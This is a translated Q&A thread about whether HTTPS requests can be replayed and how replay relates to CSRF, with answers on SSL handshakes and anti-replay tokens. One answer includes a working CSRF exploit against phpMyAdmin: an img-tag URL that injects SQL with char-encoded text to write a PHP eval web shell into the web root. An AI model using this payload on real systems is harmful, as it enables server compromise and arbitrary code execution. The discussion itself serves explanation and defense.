代码之家  ›  专栏  ›  技术社区  ›  MatthewMartin muthu

针对https请求的重播攻击

  •  31
  • MatthewMartin muthu  · 技术社区  · 14 年前

    假设一个安全测试人员使用代理,比如fiddler,并使用管理员的凭据记录一个https请求——在整个请求(包括会话和身份验证cookie)的重播时,安全测试人员能够成功地(重新)记录事务。声称这是CSRF漏洞的迹象。

    恶意用户要截获https请求并重播它需要做什么?这是脚本小子的任务,资金充足的军事黑客团队还是时间旅行的外星人技术?记录用户的ssl会话并在票证过期前重播真的那么容易吗?

    应用程序中目前没有代码在http get上做任何有趣的事情,因此afaik,诱使管理员单击链接或加载带有恶意url的图像不是问题。

    6 回复  |  直到 6 年前
        1
  •  41
  •   Simon Buchan    14 年前

    https不可重放,握手序列中的第一个服务器响应包含服务器选择的随机数。

    fiddler所做的是充当代理,这意味着它拦截浏览器的请求,然后生成与服务器相同的请求,这意味着它可以访问明文,这就是它将要重播的内容。您的浏览器告诉您证书来自fiddler-“Do_not_trust_fiddlerroot”,这是您必须同意的,然后它才会发送忽略证书不匹配的消息。

        2
  •  7
  •   rook    11 年前

    您所描述的不是CSRF漏洞。https专门防御原始密码文本的重放攻击,并防止攻击者知道请求的内容。

    需要注意的是,https 没有 防御CSRF。如果攻击者知道get/post变量应该是什么,那么他就能够构建恶意的html,当目标执行它时,它将执行攻击者希望的操作。如果web应用程序不是公共的,并且攻击者不知道http请求是什么样子的,那么他们就不能伪造请求。例如这里有一个 CSRF exploit 我写信反对phpmyadmin。我已将此漏洞修改为使用https,所需做的只是将url从http://更改为https://。

    <html>
    <img src="https://10.1.1.10/phpmyadmin/tbl_structure.php?db=information_schema&table=TABLES%60+where+0+union+select+char%2860%2C+63%2C+112%2C+104%2C+112%2C+32%2C+101%2C+118%2C+97%2C+108%2C+40%2C+36%2C+95%2C+71%2C+69%2C+84%2C+91%2C+101%2C+93%2C+41%2C+63%2C+62%29+into+outfile+%22%2Fvar%2Fwww%2Fbackdoor.php%22+--+1">
    </html>
    

    此漏洞利用MySQL的“into outile”进行后门攻击。它不使用脚本,因为它正在伪造一个get请求,而且浏览器认为它是一个图像,直到太晚。

        3
  •  1
  •   ig0774    14 年前

    您的意思是仅仅意味着ssl(还没有公开显示它是可能的)或身份验证cookies(这是特定于应用程序的)的重播吗?前者表明ssl中存在一个迟钝的、私下发现的漏洞(我可能会补充说,您不太可能修复该漏洞)。后者,即任意机器可以为先前建立的身份验证会话提供cookie的地方,确实表明您的应用程序中存在一个可能被利用的csrf漏洞,应该加以解决。

    尽管ssl通信量通常被认为不可能通过mtm攻击进行嗅探(假设您已对去年11月公开的漏洞采取了纠正措施),但存储在用户远程计算机上的cookie也不能被拦截(特别是如果存在xss漏洞在您的站点或与您的站点位于同一域的任何站点中的功能)。这种跨域/两个漏洞攻击越来越常见,从严格的安全角度来看,即使不是直接通过应用程序,也有可能利用此漏洞。

        4
  •  1
  •   Noon Silk    14 年前

    --编辑:注意,关于ssl不处理重播攻击,我错了,根据下面的说明。实现令牌方法仍然很好。

    考虑“重放”一个https请求,就像返回浏览器并再次点击按钮一样。

    因此,也就是说,您不需要解码任何内容来重新提交ssl请求。路上的任何节点都能做到(他们只是看不到交通)。

    所以,如果我捕获你的ssl事务,它发送给我100美元,那么我可以捕获它并重新发送它,以便我继续得到钱。

    这个问题的明显解决方案(典型的解决方案)是在html页面上生成一个标记,然后在会话中保存相同的值。当一个请求进入时,检查这个值,检查它是否是 现在的 价值,如果它是,处理它, 然后更改当前值

    如果它不是当前值(即,它是处理“原始”请求后的旧值),则您知道该页已重新提交。

    这是一种常见的防止重复提交信用卡详细信息的方法,等等,但它还具有强制一个唯一请求与每个响应匹配的安全好处。链中无法解密SSL的攻击者无法传递此信息。

        5
  •  0
  •   RandomNickName42    14 年前
        6
  •  -1
  •   dlamotte    14 年前

    据我所知,csrf是指一个站点引用另一个站点,并作为其中的一部分窃取当前用户的凭据。CSRF是 不是 只是转发请求。

    代理是 可信的 不应篡改请求的转发器。就像经典的中间人攻击一样简单。如果你相信你与终点之间的联系,你就会受到中间人的摆布。

    要拦截和重播一个https请求(典型的http重播攻击),您必须能够解密流量afaik的ssl加密。我猜,你不能那样做。更不用说,快到有用。

    再来点背景资料会有用的,但我不确定你在这开什么车。